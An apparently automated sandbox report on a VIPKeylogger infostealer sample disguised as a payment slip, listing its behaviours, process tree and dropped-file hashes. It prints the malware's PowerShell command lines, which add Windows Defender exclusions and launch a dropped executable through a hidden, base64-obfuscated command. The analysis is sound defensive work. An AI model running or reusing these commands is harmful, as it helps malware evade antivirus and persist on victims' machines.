Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/09/2026, 11:00

General

  • Target
    Payment Slip PDF.bat.exe
  • Size 1.1MB
  • Sample260904-m39basgr4s
  • SHA256 37c2c5d56cc763a7731523541ea9b206beb80dace89e1615b0cab7d5afa1ffe5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • vipkeylogger

Credentials

Signatures

  • Family: VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe
    "C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3344
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
    • C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\Payment Slip PDF.bat.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:1588
  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$25pt5e=4140;$dt5wks=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$vhq4in=$env:COMPUTERNAME;$xo3sma=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGhlQi5leGU=')));$ccdefh=Get-Date;& $dt5wks -FilePath $xo3sma"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Users\Admin\AppData\Roaming\heB.exe
      "C:\Users\Admin\AppData\Roaming\heB.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3104
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\heB.exe"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3676
      • C:\Users\Admin\AppData\Roaming\heB.exe
        "C:\Users\Admin\AppData\Roaming\heB.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4340

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Payment Slip PDF.bat.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment Slip PDF.bat.exe.log
        • Size 1KB
        • SHA256 7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982
        • MD5 SHA1 SHA512 TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 480f343b50de08b336c0be02eb6960ccc86632bcd4268f932a4633a0107d3a02
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_hmymk1rt.yw3.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmymk1rt.yw3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        heB.exe

        • Path C:\Users\Admin\AppData\Roaming\heB.exe
        • Size 1.1MB
        • SHA256 37c2c5d56cc763a7731523541ea9b206beb80dace89e1615b0cab7d5afa1ffe5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1588-67-0x0000000006290000-0x0000000006452000-memory.dmp

        memory/1588-68-0x0000000006110000-0x0000000006160000-memory.dmp

        memory/1588-69-0x0000000004F10000-0x0000000004F20000-memory.dmp

        memory/1588-12-0x0000000000400000-0x0000000000448000-memory.dmp

        memory/2332-37-0x000002F4CCF00000-0x000002F4CCF22000-memory.dmp

        memory/3344-6-0x0000000008380000-0x000000000839E000-memory.dmp

        memory/3344-5-0x0000000005500000-0x000000000559C000-memory.dmp

        memory/3344-0-0x00000000006C0000-0x00000000007D4000-memory.dmp

        memory/3344-1-0x00000000057A0000-0x0000000005D44000-memory.dmp

        memory/3344-2-0x00000000051F0000-0x0000000005282000-memory.dmp

        memory/3344-3-0x0000000005450000-0x0000000005460000-memory.dmp

        memory/3344-8-0x0000000006480000-0x0000000006564000-memory.dmp

        memory/3344-4-0x0000000005180000-0x000000000518A000-memory.dmp

        memory/3344-7-0x0000000005450000-0x0000000005460000-memory.dmp

        memory/3676-92-0x0000000007890000-0x0000000007933000-memory.dmp

        memory/3676-74-0x0000000006010000-0x0000000006364000-memory.dmp

        memory/3676-83-0x0000000006720000-0x000000000676C000-memory.dmp

        memory/3676-94-0x0000000007C40000-0x0000000007C54000-memory.dmp

        memory/3676-84-0x000000006FE40000-0x000000006FE8C000-memory.dmp

        memory/3676-93-0x0000000007C00000-0x0000000007C11000-memory.dmp

        memory/4656-44-0x0000000006A60000-0x0000000006A92000-memory.dmp

        memory/4656-53-0x0000000006070000-0x000000000608E000-memory.dmp

        memory/4656-54-0x0000000006AA0000-0x0000000006B43000-memory.dmp

        memory/4656-55-0x0000000007400000-0x0000000007A7A000-memory.dmp

        memory/4656-56-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

        memory/4656-57-0x0000000006E30000-0x0000000006E3A000-memory.dmp

        memory/4656-58-0x0000000007040000-0x00000000070D6000-memory.dmp

        memory/4656-59-0x0000000006FC0000-0x0000000006FD1000-memory.dmp

        memory/4656-60-0x0000000006FF0000-0x0000000006FFE000-memory.dmp

        memory/4656-61-0x0000000007000000-0x0000000007014000-memory.dmp

        memory/4656-62-0x0000000007100000-0x000000000711A000-memory.dmp

        memory/4656-63-0x00000000070E0000-0x00000000070E8000-memory.dmp

        memory/4656-45-0x000000006FFE0000-0x000000007002C000-memory.dmp

        memory/4656-31-0x0000000005AD0000-0x0000000005B1C000-memory.dmp

        memory/4656-30-0x0000000005A90000-0x0000000005AAE000-memory.dmp

        memory/4656-29-0x0000000005600000-0x0000000005954000-memory.dmp

        memory/4656-19-0x0000000004BD0000-0x0000000004BF2000-memory.dmp

        memory/4656-21-0x0000000005490000-0x00000000054F6000-memory.dmp

        memory/4656-20-0x00000000053B0000-0x0000000005416000-memory.dmp

        memory/4656-18-0x0000000004C80000-0x00000000052A8000-memory.dmp

        memory/4656-16-0x0000000000CB0000-0x0000000000CC0000-memory.dmp

        memory/4656-17-0x0000000000CB0000-0x0000000000CC0000-memory.dmp

        memory/4656-15-0x0000000002190000-0x00000000021C6000-memory.dmp